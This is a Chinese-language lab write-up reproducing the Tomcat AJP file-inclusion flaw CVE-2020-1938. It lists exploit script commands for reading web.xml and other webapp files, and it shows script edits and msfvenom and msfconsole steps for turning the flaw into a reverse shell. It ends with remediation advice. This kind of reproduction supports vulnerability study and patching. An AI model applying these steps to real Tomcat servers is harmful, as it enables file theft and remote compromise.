tomcat-ajp文件包含漏洞 CVE-2020-1938
描述
Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件,可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件
tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip
Connector(连接器)组件是Tomcat最核心的两个组件之一,主要的职责就是负责接收客户端连接和客户端请求的处理加工。每个Connector都将指定一个端口进行监听;将Tomcat比作一个城堡,那么Connector就是城门
影响版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
复现
docker搭建环境

Tomcat版本 9.0.30
nmap探测8009端口

8009端口开放,ajp协议开启
利用exp
1 | python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py -f WEB.INF/web.xml ip -p 8009 |

成功读取到webapps中ROOT/WEB-INF目录下下web.xml文件
跨目录读取
脚本默认读取ROOT目录下文件,通过修改可以读取webapps中其他目录中的文件
但是不能跨目录读取文件,如/etc/passwd,只能读取
/usr/local/tomcat/webapps目录下文件

而要读取其他目录下文件,仅需修改exp,在/asdf前添加文件目录xxx
1 | _,data = t.perform_request('/xxx/asdf',attributes=[ |
查看docs目录下的BUILDING.txt文件

使用脚本读取
1 | python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py -f BUILDING.txt ip -p 8009 |

反弹shell
msfvenom生成payload,其中ip为攻击者ip
1 | msfvenom -l payloads | grep java #搜索javapayload |

存在上传点的话,找到上传点,将payload上传,修改脚本,在/asdf后加上.jsp
1 | _,data = t.perform_request('/asdf.jsp',attributes=[ |
这里的环境没有上传点,为了演示直接在docker容器中创建shell.txt文件

msfconsole监听
1 | use exploit/multi/handler |
运行脚本


附exp
https://github.com/hypn0s/AJPy
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
漏洞修复
- 临时禁用ajp协议端口,修改或注释conf/server.xml文件中的
1 | <Connector port="8009" protocol="AJP/1.3"redirectPort="8443" /> |
- 升级到安全版本
参考文章
文件包含漏洞之——tomcat CVE-2020-1938漏洞复现(getshell)